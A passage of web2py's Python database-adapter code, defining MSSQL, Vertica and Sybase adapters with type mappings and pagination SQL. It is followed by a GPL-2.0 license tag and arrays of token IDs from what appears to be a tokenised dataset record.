FK_%(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference TFK': ' CONSTRAINT FK_%(foreign_table)s_PK FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_table)s (%(foreign_key)s) ON DELETE %(on_delete_action)s', } def select_limitby(self, sql_s, sql_f, sql_t, sql_w, sql_o, limitby): if limitby: (lmin, lmax) = limitby if lmin == 0: #top is still slightly faster, especially because #web2py's default to fetch references is to not specify #an orderby clause sql_s += ' TOP %i' % lmax else: if not sql_o: #if there is no orderby, we can't use the brand new statements #that being said, developer chose its own poison, so be it random sql_o += ' ORDER BY %s' % self.RANDOM() sql_o += ' OFFSET %i ROWS FETCH NEXT %i ROWS ONLY' % (lmin, lmax - lmin) return 'SELECT %s %s FROM %s%s%s;' % \ (sql_s, sql_f, sql_t, sql_w, sql_o) def rowslice(self, rows, minimum=0, maximum=None): return rows class MSSQL2Adapter(MSSQLAdapter): drivers = ('pyodbc',) types = { 'boolean': 'BIT', 'string': 'NVARCHAR(%(length)s)', 'text': 'NTEXT', 'json': 'NTEXT', 'password': 'NVARCHAR(%(length)s)', 'blob': 'IMAGE', 'upload': 'NVARCHAR(%(length)s)', 'integer': 'INT', 'bigint': 'BIGINT', 'float': 'FLOAT', 'double': 'FLOAT', 'decimal': 'NUMERIC(%(precision)s,%(scale)s)', 'date': 'DATETIME', 'time': 'CHAR(8)', 'datetime': 'DATETIME', 'id': 'INT IDENTITY PRIMARY KEY', 'reference': 'INT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'list:integer': 'NTEXT', 'list:string': 'NTEXT', 'list:reference': 'NTEXT', 'geometry': 'geometry', 'geography': 'geography', 'big-id': 'BIGINT IDENTITY PRIMARY KEY', 'big-reference': 'BIGINT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference FK': ', CONSTRAINT FK_%(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference TFK': ' CONSTRAINT FK_%(foreign_table)s_PK FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_table)s (%(foreign_key)s) ON DELETE %(on_delete_action)s', } def represent(self, obj, fieldtype): value = BaseAdapter.represent(self, obj, fieldtype) if fieldtype in ('string', 'text', 'json') and value[:1] == "'": value = 'N' + value return value def execute(self, *a, **b): if PY2: newa = list(a) newa[0] = to_unicode(newa[0]) a = tuple(newa) return self.log_execute(*a, **b) #return self.log_execute(a.decode('utf8')) def ILIKE(self, first, second, escape=None): """Case insensitive like operator""" if isinstance(second, Expression): second = self.expand(second, 'string') else: second = self.expand(second, 'string').lower() if escape is None: escape = '\\' second = second.replace(escape, escape*2) if second.startswith("n'"): second = "N'" + second[2:] return "(LOWER(%s) LIKE %s ESCAPE '%s')" % (self.expand(first), second, escape) class MSSQLNAdapter(MSSQLAdapter): drivers = ('pyodbc',) """Experimental: base class for handling unicode in MSSQL by default. Needs lots of testing. Try this on a fresh (or on a legacy) database. Using this in a database handled previously with non-unicode aware adapter is NOT supported """ types = { 'boolean': 'BIT', 'string': 'NVARCHAR(%(length)s)', 'text': 'NTEXT', 'json': 'NTEXT', 'password': 'NVARCHAR(%(length)s)', 'blob': 'IMAGE', 'upload': 'NVARCHAR(%(length)s)', 'integer': 'INT', 'bigint': 'BIGINT', 'float': 'FLOAT', 'double': 'FLOAT', 'decimal': 'NUMERIC(%(precision)s,%(scale)s)', 'date': 'DATETIME', 'time': 'CHAR(8)', 'datetime': 'DATETIME', 'id': 'INT IDENTITY PRIMARY KEY', 'reference': 'INT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'list:integer': 'NTEXT', 'list:string': 'NTEXT', 'list:reference': 'NTEXT', 'geometry': 'geometry', 'geography': 'geography', 'big-id': 'BIGINT IDENTITY PRIMARY KEY', 'big-reference': 'BIGINT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference FK': ', CONSTRAINT FK_%(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference TFK': ' CONSTRAINT FK_%(foreign_table)s_PK FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_table)s (%(foreign_key)s) ON DELETE %(on_delete_action)s', } def represent(self, obj, fieldtype): value = BaseAdapter.represent(self, obj, fieldtype) if fieldtype in ('string', 'text', 'json') and value[:1] == "'": value = 'N' + value return value def execute(self, *a, **b): if PY2: newa = list(a) newa[0] = to_unicode(newa[0]) a = tuple(newa) return self.log_execute(*a, **b) def ILIKE(self, first, second, escape=None): """Case insensitive like operator""" if isinstance(second, Expression): second = self.expand(second, 'string') else: second = self.expand(second, 'string').lower() if escape is None: escape = '\\' second = second.replace(escape, escape*2) if second.startswith("n'"): second = "N'" + second[2:] return "(LOWER(%s) LIKE %s ESCAPE '%s')" % (self.expand(first), second, escape) class MSSQL3NAdapter(MSSQLNAdapter): drivers = ('pyodbc',) """Experimental support for pagination in MSSQL Experimental: see MSSQLNAdapter docstring for warnings Requires MSSQL >= 2005, uses `ROW_NUMBER()` """ types = { 'boolean': 'BIT', 'string': 'NVARCHAR(%(length)s)', 'text': 'NVARCHAR(MAX)', 'json': 'NVARCHAR(MAX)', 'password': 'NVARCHAR(%(length)s)', 'blob': 'IMAGE', 'upload': 'NVARCHAR(%(length)s)', 'integer': 'INT', 'bigint': 'BIGINT', 'float': 'FLOAT', 'double': 'FLOAT', 'decimal': 'NUMERIC(%(precision)s,%(scale)s)', 'date': 'DATETIME', 'time': 'TIME(7)', 'datetime': 'DATETIME', 'id': 'INT IDENTITY PRIMARY KEY', 'reference': 'INT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'list:integer': 'NVARCHAR(MAX)', 'list:string': 'NVARCHAR(MAX)', 'list:reference': 'NVARCHAR(MAX)', 'geometry': 'geometry', 'geography': 'geography', 'big-id': 'BIGINT IDENTITY PRIMARY KEY', 'big-reference': 'BIGINT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference FK': ', CONSTRAINT FK_%(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference TFK': ' CONSTRAINT FK_%(foreign_table)s_PK FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_table)s (%(foreign_key)s) ON DELETE %(on_delete_action)s', } def select_limitby(self, sql_s, sql_f, sql_t, sql_w, sql_o, limitby): if limitby: (lmin, lmax) = limitby if lmin == 0: sql_s += ' TOP %i' % lmax return 'SELECT %s %s FROM %s%s%s;' % (sql_s, sql_f, sql_t, sql_w, sql_o) lmin += 1 sql_o_inner = sql_o[sql_o.find('ORDER BY ')+9:] sql_g_inner = sql_o[:sql_o.find('ORDER BY ')] sql_f_outer = ['f_%s' % f for f in range(len(sql_f.split(',')))] sql_f_inner = [f for f in sql_f.split(',')] sql_f_iproxy = ['%s AS %s' % (o, n) for (o, n) in zip(sql_f_inner, sql_f_outer)] sql_f_iproxy = ', '.join(sql_f_iproxy) sql_f_oproxy = ', '.join(sql_f_outer) return 'SELECT %s %s FROM (SELECT %s ROW_NUMBER() OVER (ORDER BY %s) AS w_row, %s FROM %s%s%s) TMP WHERE w_row BETWEEN %i AND %s;' % (sql_s,sql_f_oproxy,sql_s,sql_f,sql_f_iproxy,sql_t,sql_w,sql_g_inner,lmin,lmax) return 'SELECT %s %s FROM %s%s%s;' % (sql_s,sql_f,sql_t,sql_w,sql_o) def rowslice(self,rows,minimum=0,maximum=None): return rows class MSSQL4NAdapter(MSSQLNAdapter): """Experimental: see MSSQLNAdapter docstring for warnings Support for "native" pagination Unicode-compatible version Requires MSSQL >= 2012, uses `OFFSET ... ROWS ... FETCH NEXT ... ROWS ONLY` After careful testing, this should be the de-facto adapter for recent MSSQL backends """ types = { 'boolean': 'BIT', 'string': 'NVARCHAR(%(length)s)', 'text': 'NVARCHAR(MAX)', 'json': 'NVARCHAR(MAX)', 'password': 'NVARCHAR(%(length)s)', 'blob': 'IMAGE', 'upload': 'NVARCHAR(%(length)s)', 'integer': 'INT', 'bigint': 'BIGINT', 'float': 'FLOAT', 'double': 'FLOAT', 'decimal': 'NUMERIC(%(precision)s,%(scale)s)', 'date': 'DATE', 'time': 'TIME(7)', 'datetime': 'DATETIME', 'id': 'INT IDENTITY PRIMARY KEY', 'reference': 'INT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'list:integer': 'NVARCHAR(MAX)', 'list:string': 'NVARCHAR(MAX)', 'list:reference': 'NVARCHAR(MAX)', 'geometry': 'geometry', 'geography': 'geography', 'big-id': 'BIGINT IDENTITY PRIMARY KEY', 'big-reference': 'BIGINT %(null)s %(unique)s, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference FK': ', CONSTRAINT FK_%(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference TFK': ' CONSTRAINT FK_%(foreign_table)s_PK FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_table)s (%(foreign_key)s) ON DELETE %(on_delete_action)s', } def select_limitby(self, sql_s, sql_f, sql_t, sql_w, sql_o, limitby): if limitby: (lmin, lmax) = limitby if lmin == 0: #top is still slightly faster, especially because #web2py's default to fetch references is to not specify #an orderby clause sql_s += ' TOP %i' % lmax else: if not sql_o: #if there is no orderby, we can't use the brand new statements #that being said, developer chose its own poison, so be it random sql_o += ' ORDER BY %s' % self.RANDOM() sql_o += ' OFFSET %i ROWS FETCH NEXT %i ROWS ONLY' % (lmin, lmax - lmin) return 'SELECT %s %s FROM %s%s%s;' % \ (sql_s, sql_f, sql_t, sql_w, sql_o) def rowslice(self, rows, minimum=0, maximum=None): return rows class VerticaAdapter(MSSQLAdapter): drivers = ('pyodbc',) T_SEP = ' ' types = { 'boolean': 'BOOLEAN', 'string': 'VARCHAR(%(length)s)', 'text': 'BYTEA', 'json': 'VARCHAR(%(length)s)', 'password': 'VARCHAR(%(length)s)', 'blob': 'BYTEA', 'upload': 'VARCHAR(%(length)s)', 'integer': 'INT', 'bigint': 'BIGINT', 'float': 'FLOAT', 'double': 'DOUBLE PRECISION', 'decimal': 'DECIMAL(%(precision)s,%(scale)s)', 'date': 'DATE', 'time': 'TIME', 'datetime': 'DATETIME', 'id': 'IDENTITY', 'reference': 'INT REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'list:integer': 'BYTEA', 'list:string': 'BYTEA', 'list:reference': 'BYTEA', 'big-reference': 'BIGINT REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', } def EXTRACT(self, first, what): return "DATE_PART('%s', TIMESTAMP %s)" % (what, self.expand(first)) def _truncate(self, table, mode=''): tablename = table._tablename return ['TRUNCATE %s %s;' % (tablename, mode or '')] def select_limitby(self, sql_s, sql_f, sql_t, sql_w, sql_o, limitby): if limitby: (lmin, lmax) = limitby sql_o += ' LIMIT %i OFFSET %i' % (lmax - lmin, lmin) return 'SELECT %s %s FROM %s%s%s;' % \ (sql_s, sql_f, sql_t, sql_w, sql_o) def lastrowid(self, table): self.execute('SELECT LAST_INSERT_ID();') return long(self.cursor.fetchone()[0]) def execute(self, a): return self.log_execute(a) class SybaseAdapter(MSSQLAdapter): drivers = ('Sybase') types = { 'boolean': 'BIT', 'string': 'CHAR VARYING(%(length)s)', 'text': 'TEXT', 'json': 'TEXT', 'password': 'CHAR VARYING(%(length)s)', 'blob': 'IMAGE', 'upload': 'CHAR VARYING(%(length)s)', 'integer': 'INT', 'bigint': 'BIGINT', 'float': 'FLOAT', 'double': 'FLOAT', 'decimal': 'NUMERIC(%(precision)s,%(scale)s)', 'date': 'DATETIME', 'time': 'CHAR(8)', 'datetime': 'DATETIME', 'id': 'INT IDENTITY PRIMARY KEY', 'reference': 'INT NULL, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'list:integer': 'TEXT', 'list:string': 'TEXT', 'list:reference': 'TEXT', 'geometry': 'geometry', 'geography': 'geography', 'big-id': 'BIGINT IDENTITY PRIMARY KEY', 'big-reference': 'BIGINT NULL, CONSTRAINT %(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference FK': ', CONSTRAINT FK_%(constraint_name)s FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_key)s ON DELETE %(on_delete_action)s', 'reference TFK': ' CONSTRAINT FK_%(foreign_table)s_PK FOREIGN KEY (%(field_name)s) REFERENCES %(foreign_table)s (%(foreign_key)s) ON DELETE %(on_delete_action)s', } def __init__(self, db, uri, pool_size=0, folder=None, db_codec='UTF-8', credential_decoder=IDENTITY, driver_args={}, adapter_args={}, do_connect=True, srid=4326, after_connection=None): self.db = db self.dbengine = "sybase" self.uri = uri if do_connect: self.find_driver(adapter_args, uri) self.pool_size = pool_size self.folder = folder self.db_codec = db_codec self._after_connection = after_connection self.srid = srid self.find_or_make_work_folder() # ## read: http://bytes.com/groups/python/460325-cx_oracle-utf8 ruri = uri.split('://', 1)[1] if '@' not in ruri: try: m = self.REGEX_DSN.match(ruri) if not m: raise SyntaxError( 'Parsing uri string(%s) has no result' % self.uri) dsn = m.group('dsn') if not dsn: raise SyntaxError('DSN required') except SyntaxError: e = sys.exc_info()[1] self.db.logger.error('NdGpatch error') raise e else: m = self.REGEX_URI.match(uri) if not m: raise SyntaxError( "Invalid URI string in DAL: %s" % self.uri) user = credential_decoder(m.group('user')) if not user: raise SyntaxError('User required') password = credential_decoder(m.group('password')) if not password: password = '' host = m.group('host') if not host: raise SyntaxError('Host name required') db = m.group('db') if not db: raise SyntaxError('Database name required') port = m.group('port') or '1433' dsn = 'sybase:host=%s:%s;dbname=%s' % (host, port, db) driver_args.update(user=credential_decoder(user), passwd=credential_decoder(password)) def connector(dsn=dsn, driver_args=driver_args): return self.driver.connect(dsn, **driver_args) self.connector = connector if do_connect: self.reconnect()
gpl-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 295, 199, 646, 984, 199, 199, 504, 1275, 423, 8473, 492, 2870, 13630, 199, 504, 1275, 423, 5819, 492, 7843, 18, 12, 370, 63, 2975, 12, 10849, 12, 3000, 63, 1313, 199, 504, 2508, 1462, 492, 22013, 199, 504, 2508, 7546, 14, 2474, 492, 2729, 3513, 63, 10962, 199, 504, 1275, 1095, 492, 3523, 10200, 199, 199, 2809, 275, 3000, 63, 1313, 1988, 17, 61, 199, 199, 533, 603, 2300, 2940, 10200, 8, 1563, 10200, 304, 272, 19016, 275, 661, 647, 19887, 9538, 272, 377, 63, 20848, 275, 283, 52, 7, 339, 7813, 9407, 63, 7433, 275, 18253, 83, 4507, 339, 2943, 275, 469, 267, 283, 4871, 356, 283, 11970, 297, 267, 283, 875, 356, 283, 24800, 12473, 1267, 9, 83, 3196, 267, 283, 505, 356, 283, 3876, 297, 267, 283, 1001, 356, 283, 3876, 297, 267, 283, 2060, 356, 283, 24800, 12473, 1267, 9, 83, 3196, 267, 283, 6582, 356, 283, 9438, 297, 267, 283, 5064, 356, 283, 24800, 12473, 1267, 9, 83, 3196, 267, 283, 4115, 356, 283, 2919, 297, 267, 283, 24884, 356, 283, 18643, 2919, 297, 267, 283, 1609, 356, 283, 11783, 297, 267, 283, 3157, 356, 283, 11783, 297, 267, 283, 6355, 356, 283, 28425, 12473, 6833, 9, 83, 12, 2840, 3467, 9, 83, 3196, 267, 283, 602, 356, 283, 12488, 297, 267, 283, 521, 356, 283, 5901, 8, 24, 3196, 267, 283, 2083, 356, 283, 12488, 297, 267, 283, 344, 356, 283, 2919, 2870, 13630, 19770, 9301, 297, 267, 283, 4443, 356, 283, 2919, 2818, 2307, 9, 83, 2818, 3235, 9, 83, 12, 30164, 2818, 5631, 63, 354, 9, 83, 2381, 37, 3203, 9301, 17753, 698, 63, 354, 9, 83, 9, 26901, 22243, 2818, 6846, 63, 498, 9, 83, 5258, 15137, 2818, 265, 63, 1807, 63, 1287, 9, 83, 297, 267, 283, 513, 26, 4115, 356, 283, 3876, 297, 267, 283, 513, 26, 875, 356, 283, 3876, 297, 267, 283, 513, 26, 4443, 356, 283, 3876, 297, 267, 283, 7660, 356, 283, 7660, 297, 267, 283, 6721, 9773, 356, 283, 6721, 9773, 297, 267, 283, 5076, 13, 344, 356, 283, 18643, 2919, 2870, 13630, 19770, 9301, 297, 267, 283, 5076, 13, 4443, 356, 283, 18643, 2919, 2818, 2307, 9, 83, 2818, 3235, 9, 83, 12, 30164, 2818, 5631, 63, 354, 9, 83, 2381, 37, 3203, 9301, 17753, 698, 63, 354, 9, 83, 9, 26901, 22243, 2818, 6846, 63, 498, 9, 83, 5258, 15137, 2818, 265, 63, 1807, 63, 1287, 9, 83, 297, 267, 283, 4443, 18821, 356, 1656, 30164, 18821, 20892, 5631, 63, 354, 9, 83, 2381, 37, 3203, 9301, 17753, 698, 63, 354, 9, 83, 9, 26901, 22243, 2818, 6846, 63, 498, 9, 83, 5258, 15137, 2818, 265, 63, 1807, 63, 1287, 9, 83, 297, 267, 283, 4443, 377, 21490, 356, 283, 30164, 18821, 20892, 6846, 63, 1224, 9, 83, 63, 8884, 2381, 37, 3203, 9301, 17753, 698, 63, 354, 9, 83, 9, 26901, 22243, 2818, 6846, 63, 1224, 9, 83, 17753, 6846, 63, 498, 9, 83, 9, 5258, 15137, 2818, 265, 63, 1807, 63, 1287, 9, 83, 297, 267, 789, 339, 347, 17159, 63, 525, 8, 277, 12, 10983, 304, 267, 372, 14289, 12112, 1157, 9934, 450, 83, 21380, 283, 450, 20283, 339, 347, 2729, 3513, 8, 277, 12, 354, 304, 267, 372, 2729, 3513, 63, 10962, 8, 354, 2584, 9722, 83, 10374, 339, 347, 3651, 22280, 8, 277, 12, 698, 12, 10058, 304, 267, 372, 298, 5390, 14848, 4042, 83, 8719, 83, 2924, 450, 334, 10058, 12, 291, 14, 4441, 8, 698, 430, 339, 347, 6578, 63, 23321, 8, 277, 304, 267, 372, 283, 9894, 31682, 10593, 7, 339, 347, 820, 879, 10462, 8, 277, 304, 267, 372, 283, 6388, 9845, 11716, 339, 347, 27805, 63, 8084, 8, 277, 304, 267, 372, 283, 450, 83, 7, 450, 283, 8084, 7, 339, 347, 7240, 840, 8, 277, 12, 1642, 12, 3499, 304, 267, 372, 1642, 327, 27241, 590, 949, 9106, 5784, 315, 603, 2300, 2940, 339, 347, 7605, 5353, 8, 277, 12, 698, 12, 3214, 304, 267, 372, 283, 6348, 5353, 4042, 83, 8719, 83, 8719, 83, 3171, 450, 334, 277, 14, 4441, 8, 698, 395, 2633, 59, 16, 467, 2633, 59, 17, 566, 339, 347, 19770, 63, 3078, 8, 277, 12, 498, 304, 267, 372, 283, 31035, 9301, 13354, 22992, 1149, 4366, 83, 3171, 450, 790, 339, 347, 437, 2916, 5616, 1951, 8, 277, 12, 1642, 12, 4052, 304, 267, 340, 4052, 508, 283, 9127, 356, 288, 4052, 275, 283, 5304, 7, 267, 372, 2071, 83, 4042, 83, 2924, 450, 334, 10058, 12, 291, 14, 4441, 8, 2246, 430, 339, 347, 491, 32106, 8, 277, 12, 1642, 304, 267, 372, 298, 5304, 4042, 83, 2924, 450, 291, 14, 4441, 8, 2246, 9, 339, 347, 3504, 63, 3097, 991, 8, 277, 12, 3875, 63, 83, 12, 3875, 63, 70, 12, 3875, 63, 84, 12, 3875, 63, 87, 12, 3875, 63, 79, 12, 2304, 991, 304, 267, 340, 2304, 991, 26, 288, 334, 76, 827, 12, 634, 988, 9, 275, 2304, 991, 288, 3875, 63, 83, 847, 283, 32582, 450, 73, 7, 450, 634, 988, 267, 372, 283, 4859, 450, 83, 450, 83, 4442, 450, 83, 5, 83, 5, 83, 8942, 450, 334, 3009, 63, 83, 12, 3875, 63, 70, 12, 3875, 63, 84, 12, 3875, 63, 87, 12, 3875, 63, 79, 9, 339, 9074, 4187, 275, 413, 272, 481, 17361, 275, 378, 339, 14142, 1438, 63, 3177, 46, 275, 295, 14, 2014, 9097, 2229, 48, 28, 32510, 31411, 9, 9988, 272, 14142, 1438, 63, 7639, 275, 295, 14, 2014, 9097, 2229, 48, 28, 751, 13489, 26, 32, 2807, 10127, 26, 2229, 48, 28, 2060, 13489, 32, 3672, 22119, 32, 2229, 48, 28, 1102, 3072, 59, 26285, 60, 11752, 16045, 11254, 2807, 10127, 26, 2229, 48, 28, 719, 9514, 16, 13, 25, 2807, 22119, 9448, 48, 28, 697, 13489, 29635, 2807, 10127, 31, 2229, 48, 28, 633, 589, 23742, 22119, 9988, 272, 14142, 1438, 63, 11611, 10764, 275, 295, 14, 2014, 28353, 48, 28, 1273, 498, 13489, 29, 11896, 29, 2229, 48, 28, 1273, 585, 13489, 6, 3672, 5942, 339, 347, 636, 826, 721, 277, 12, 1592 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 295, 199, 646, 984, 199, 199, 504, 1275, 423, 8473, 492, 2870, 13630, 199, 504, 1275, 423, 5819, 492, 7843, 18, 12, 370, 63, 2975, 12, 10849, 12, 3000, 63, 1313, 199, 504, 2508, 1462, 492, 22013, 199, 504, 2508, 7546, 14, 2474, 492, 2729, 3513, 63, 10962, 199, 504, 1275, 1095, 492, 3523, 10200, 199, 199, 2809, 275, 3000, 63, 1313, 1988, 17, 61, 199, 199, 533, 603, 2300, 2940, 10200, 8, 1563, 10200, 304, 272, 19016, 275, 661, 647, 19887, 9538, 272, 377, 63, 20848, 275, 283, 52, 7, 339, 7813, 9407, 63, 7433, 275, 18253, 83, 4507, 339, 2943, 275, 469, 267, 283, 4871, 356, 283, 11970, 297, 267, 283, 875, 356, 283, 24800, 12473, 1267, 9, 83, 3196, 267, 283, 505, 356, 283, 3876, 297, 267, 283, 1001, 356, 283, 3876, 297, 267, 283, 2060, 356, 283, 24800, 12473, 1267, 9, 83, 3196, 267, 283, 6582, 356, 283, 9438, 297, 267, 283, 5064, 356, 283, 24800, 12473, 1267, 9, 83, 3196, 267, 283, 4115, 356, 283, 2919, 297, 267, 283, 24884, 356, 283, 18643, 2919, 297, 267, 283, 1609, 356, 283, 11783, 297, 267, 283, 3157, 356, 283, 11783, 297, 267, 283, 6355, 356, 283, 28425, 12473, 6833, 9, 83, 12, 2840, 3467, 9, 83, 3196, 267, 283, 602, 356, 283, 12488, 297, 267, 283, 521, 356, 283, 5901, 8, 24, 3196, 267, 283, 2083, 356, 283, 12488, 297, 267, 283, 344, 356, 283, 2919, 2870, 13630, 19770, 9301, 297, 267, 283, 4443, 356, 283, 2919, 2818, 2307, 9, 83, 2818, 3235, 9, 83, 12, 30164, 2818, 5631, 63, 354, 9, 83, 2381, 37, 3203, 9301, 17753, 698, 63, 354, 9, 83, 9, 26901, 22243, 2818, 6846, 63, 498, 9, 83, 5258, 15137, 2818, 265, 63, 1807, 63, 1287, 9, 83, 297, 267, 283, 513, 26, 4115, 356, 283, 3876, 297, 267, 283, 513, 26, 875, 356, 283, 3876, 297, 267, 283, 513, 26, 4443, 356, 283, 3876, 297, 267, 283, 7660, 356, 283, 7660, 297, 267, 283, 6721, 9773, 356, 283, 6721, 9773, 297, 267, 283, 5076, 13, 344, 356, 283, 18643, 2919, 2870, 13630, 19770, 9301, 297, 267, 283, 5076, 13, 4443, 356, 283, 18643, 2919, 2818, 2307, 9, 83, 2818, 3235, 9, 83, 12, 30164, 2818, 5631, 63, 354, 9, 83, 2381, 37, 3203, 9301, 17753, 698, 63, 354, 9, 83, 9, 26901, 22243, 2818, 6846, 63, 498, 9, 83, 5258, 15137, 2818, 265, 63, 1807, 63, 1287, 9, 83, 297, 267, 283, 4443, 18821, 356, 1656, 30164, 18821, 20892, 5631, 63, 354, 9, 83, 2381, 37, 3203, 9301, 17753, 698, 63, 354, 9, 83, 9, 26901, 22243, 2818, 6846, 63, 498, 9, 83, 5258, 15137, 2818, 265, 63, 1807, 63, 1287, 9, 83, 297, 267, 283, 4443, 377, 21490, 356, 283, 30164, 18821, 20892, 6846, 63, 1224, 9, 83, 63, 8884, 2381, 37, 3203, 9301, 17753, 698, 63, 354, 9, 83, 9, 26901, 22243, 2818, 6846, 63, 1224, 9, 83, 17753, 6846, 63, 498, 9, 83, 9, 5258, 15137, 2818, 265, 63, 1807, 63, 1287, 9, 83, 297, 267, 789, 339, 347, 17159, 63, 525, 8, 277, 12, 10983, 304, 267, 372, 14289, 12112, 1157, 9934, 450, 83, 21380, 283, 450, 20283, 339, 347, 2729, 3513, 8, 277, 12, 354, 304, 267, 372, 2729, 3513, 63, 10962, 8, 354, 2584, 9722, 83, 10374, 339, 347, 3651, 22280, 8, 277, 12, 698, 12, 10058, 304, 267, 372, 298, 5390, 14848, 4042, 83, 8719, 83, 2924, 450, 334, 10058, 12, 291, 14, 4441, 8, 698, 430, 339, 347, 6578, 63, 23321, 8, 277, 304, 267, 372, 283, 9894, 31682, 10593, 7, 339, 347, 820, 879, 10462, 8, 277, 304, 267, 372, 283, 6388, 9845, 11716, 339, 347, 27805, 63, 8084, 8, 277, 304, 267, 372, 283, 450, 83, 7, 450, 283, 8084, 7, 339, 347, 7240, 840, 8, 277, 12, 1642, 12, 3499, 304, 267, 372, 1642, 327, 27241, 590, 949, 9106, 5784, 315, 603, 2300, 2940, 339, 347, 7605, 5353, 8, 277, 12, 698, 12, 3214, 304, 267, 372, 283, 6348, 5353, 4042, 83, 8719, 83, 8719, 83, 3171, 450, 334, 277, 14, 4441, 8, 698, 395, 2633, 59, 16, 467, 2633, 59, 17, 566, 339, 347, 19770, 63, 3078, 8, 277, 12, 498, 304, 267, 372, 283, 31035, 9301, 13354, 22992, 1149, 4366, 83, 3171, 450, 790, 339, 347, 437, 2916, 5616, 1951, 8, 277, 12, 1642, 12, 4052, 304, 267, 340, 4052, 508, 283, 9127, 356, 288, 4052, 275, 283, 5304, 7, 267, 372, 2071, 83, 4042, 83, 2924, 450, 334, 10058, 12, 291, 14, 4441, 8, 2246, 430, 339, 347, 491, 32106, 8, 277, 12, 1642, 304, 267, 372, 298, 5304, 4042, 83, 2924, 450, 291, 14, 4441, 8, 2246, 9, 339, 347, 3504, 63, 3097, 991, 8, 277, 12, 3875, 63, 83, 12, 3875, 63, 70, 12, 3875, 63, 84, 12, 3875, 63, 87, 12, 3875, 63, 79, 12, 2304, 991, 304, 267, 340, 2304, 991, 26, 288, 334, 76, 827, 12, 634, 988, 9, 275, 2304, 991, 288, 3875, 63, 83, 847, 283, 32582, 450, 73, 7, 450, 634, 988, 267, 372, 283, 4859, 450, 83, 450, 83, 4442, 450, 83, 5, 83, 5, 83, 8942, 450, 334, 3009, 63, 83, 12, 3875, 63, 70, 12, 3875, 63, 84, 12, 3875, 63, 87, 12, 3875, 63, 79, 9, 339, 9074, 4187, 275, 413, 272, 481, 17361, 275, 378, 339, 14142, 1438, 63, 3177, 46, 275, 295, 14, 2014, 9097, 2229, 48, 28, 32510, 31411, 9, 9988, 272, 14142, 1438, 63, 7639, 275, 295, 14, 2014, 9097, 2229, 48, 28, 751, 13489, 26, 32, 2807, 10127, 26, 2229, 48, 28, 2060, 13489, 32, 3672, 22119, 32, 2229, 48, 28, 1102, 3072, 59, 26285, 60, 11752, 16045, 11254, 2807, 10127, 26, 2229, 48, 28, 719, 9514, 16, 13, 25, 2807, 22119, 9448, 48, 28, 697, 13489, 29635, 2807, 10127, 31, 2229, 48, 28, 633, 589, 23742, 22119, 9988, 272, 14142, 1438, 63, 11611, 10764, 275, 295, 14, 2014, 28353, 48, 28, 1273, 498, 13489, 29, 11896, 29, 2229, 48, 28, 1273, 585, 13489, 6, 3672, 5942, 339, 347, 636, 826, 721, 277, 12, 1592, 0 ]
